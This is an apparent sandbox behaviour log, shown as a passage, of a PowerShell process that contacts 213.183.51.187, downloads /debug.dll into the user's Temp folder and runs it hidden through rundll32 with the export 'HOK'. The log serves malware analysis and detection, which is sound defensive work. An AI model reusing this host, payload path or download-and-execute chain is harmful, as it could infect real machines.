Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 7
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Write filename = CONOUT$, size = 37 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONIN$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
File Read filename = CONIN$, size = 8192 False 1
Fn
Thread 0xaa8
(Host: 178, Network: 75)
+
Category Operation Information Success Count Logfile
Environment Get Environment String name = MshEnableTrace False 22
Fn
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 260 True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = file_attributes True 2
Fn
File Create filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = file_type True 2
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = size, size_out = 0 True 1
Fn
File Read filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, size = 4096, size_out = 1459 True 1
Fn
Data
File Read filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, size = 4096, size_out = 0 True 1
Fn
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 260 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config, type = file_attributes False 2
Fn
File Create filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, type = file_type True 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion, value_name = InstallationType, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion, value_name = InstallationType, data = Client, type = REG_SZ True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
System Get Computer Name result_out = F71GWAT True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = netfxperf.dll, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = First Counter, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = First Counter, data = 4160, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = CategoryOptions, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = CategoryOptions, data = 3, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = FileMappingSize, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = FileMappingSize, data = 131072, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = Counter Names, type = REG_BINARY True 2
Fn
Data
Module Create Mapping filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 131072 True 1
Fn
Module Map process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, desired_access = FILE_MAP_WRITE True 1
Fn
System Get Info type = Operating System False 2
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking False 1
Fn
Mutex Open mutex_name = Global\.net clr networking, desired_access = MUTEX_MODIFY_STATE, SYNCHRONIZE True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET6, type = SOCK_STREAM True 1
Fn
Socket Connect remote_address = 213.183.51.187, remote_port = 80 True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Socket Send flags = NO_FLAG_SET, size = 73, size_out = 73 True 1
Fn
Data
Inet Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS True 1
Fn
Inet Open Connection protocol = http, server_name = 213.183.51.187, server_port = 80 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /debug.dll True 1
Fn
Inet Send HTTP Request headers = host: 213.183.51.187, connection: Keep-Alive, url = 213.183.51.187/debug.dll True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4096, size_out = 4096 True 1
Fn
Data
Inet Read Response size = 4096, size_out = 4096 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 1712 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 1712 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 4096 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 65536 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 65536 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 62910 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 8516 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 8516 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 8516 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 7260 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 7260 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 7260 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 49368 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 49368 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 49368 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 8712 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 8712 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 8712 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 3752 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 3752 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 6412 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 6412 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 6068 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 2904 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 65536 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 65536 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 64344 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 7064 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 7064 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 7064 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 2904 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 1452 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 1452 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 4096 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 5808 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 5808 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 4096 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 21780 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 21780 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 19656 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 5808 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 5808 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 5808 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 65536 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 65536 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 65536 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 12872 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 12872 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 12872 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 46188 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 46188 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 46188 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 13068 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 13068 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 13068 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 2904 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 1452 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 1452 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 4096 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 2904 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 65536 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 65536 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 64604 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 52618, size_out = 17228 True 1
Fn
Data
Inet Read Response size = 52618, size_out = 17228 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 17228 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 35390, size_out = 5808 True 1
Fn
Data
Inet Read Response size = 35390, size_out = 5808 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 5808 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 29582, size_out = 4356 True 1
Fn
Data
Inet Read Response size = 29582, size_out = 4356 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 4356 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 25226, size_out = 25226 True 1
Fn
Data
Inet Read Response size = 25226, size_out = 25226 True 1
Fn
Data
File Write filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Tempdebug.dll, size = 25226 True 1
Fn
Data
Environment Get Environment String name = MshEnableTrace False 7
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Open filename = STD_ERROR_HANDLE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Write filename = CONOUT$, size = 79 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 4 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 16 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 79 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 79 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 48 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 79 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 28 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 79 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 55 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
File Get Info filename = C:\Windows\system32\rundll32.exe, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Process Create process_name = "C:\Windows\system32\rundll32.exe" C:\Users\BGC6U8~1\AppData\Local\Tempdebug.dll HOK, os_pid = 0xae4, show_window = SW_HIDE True 1
Fn
Thread 0xaec
(Host: 1, Network: 0)
+
Category Operation Information Success Count Logfile
Environment Get Environment String name = MshEnableTrace False 5
Fn
Process #4: rundll32.exe
(Host: 102, Network: 0)
+
Information Value
ID #4
File Name c:\windows\system32\rundll32.exe
Command Line "C:\Windows\system32\rundll32.exe" C:\Users\BGC6U8~1\AppData\Local\Tempdebug.dll HOK
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:00:44, Reason: Child Process
Unmonitor End Time: 00:02:15, Reason: Terminated by Timeout
Monitor Duration 00:01:31
OS Process Information
+
Information Value
PID 0xae4
Parent PID 0xa50 (c:\windows\system32\windowspowershell\v1.0\powershell.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Groups
  • F71GWAT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
